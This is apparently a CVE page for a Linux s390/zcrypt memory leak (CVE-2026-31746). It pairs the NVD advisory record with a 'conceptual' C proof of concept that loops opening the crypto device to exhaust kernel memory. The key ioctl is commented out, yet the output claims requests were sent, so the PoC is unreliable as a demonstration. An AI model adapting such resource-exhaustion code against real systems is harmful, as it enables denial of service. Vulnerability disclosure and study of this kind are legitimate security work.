CVE-2026-31746

/* * PoC for CVE-2026-31746 (Conceptual) * Triggers memory leak in s390/zcrypt by sending continuous RSA requests. * Requires: s390 architecture, CCA card, zcrypt module loaded. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #define ZCRYPT_DEVICE "/dev/zcrypt90" int main() { int fd = -1; int iterations = 0; printf("Starting PoC for CVE-2026-31746...\n"); // Loop to trigger the memory leak indefinitely while (1) { fd = open(ZCRYPT_DEVICE, O_RDWR); if (fd < 0) { perror("Failed to open device"); sleep(1); continue; } // In a real scenario, specific IOCTLs would be used to send // clear key RSA requests (ME/CRT) to the CCA card. // This simulates the trigger. // ioctl(fd, ZCRYPT_IOCTL, ...); // The vulnerability occurs inside the kernel handling of these requests. // Simply opening/closing or sending dummy requests may not trigger it // without the correct crypto setup, but this represents the loop. close(fd); iterations++; if (iterations % 1000 == 0) { printf("[+] Sent %d requests. Check kernel memory usage (slabtop).\n", iterations); } } return 0; }

{"cve": {"id": "CVE-2026-31746", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:37.363", "lastModified": "2026-05-07T19:29:56.453", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ns390/zcrypt: Fix memory leak with CCA cards used as accelerator\n\nTests showed that there is a memory leak if CCA cards are used as\naccelerator for clear key RSA requests (ME and CRT). With the last\nrework for the memory allocation the AP messages are allocated by\nap_init_apmsg() but for some reason on two places (ME and CRT) the\nolder allocation was still in place. So the first allocation simple\nwas never freed."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.16", "versionEndExcluding": "6.18.22", "matchCriteriaId": "B376ADEA-99DD-4C34-B0B2-7362FBE63A29"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/586222c37d4027dbf60a604fbe820184fee7c1c9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ace37bfec3822033e59fff390f2ff99fc96ebe4f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c8d46f17c2fc7d25c18e60c008928aecab26184d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}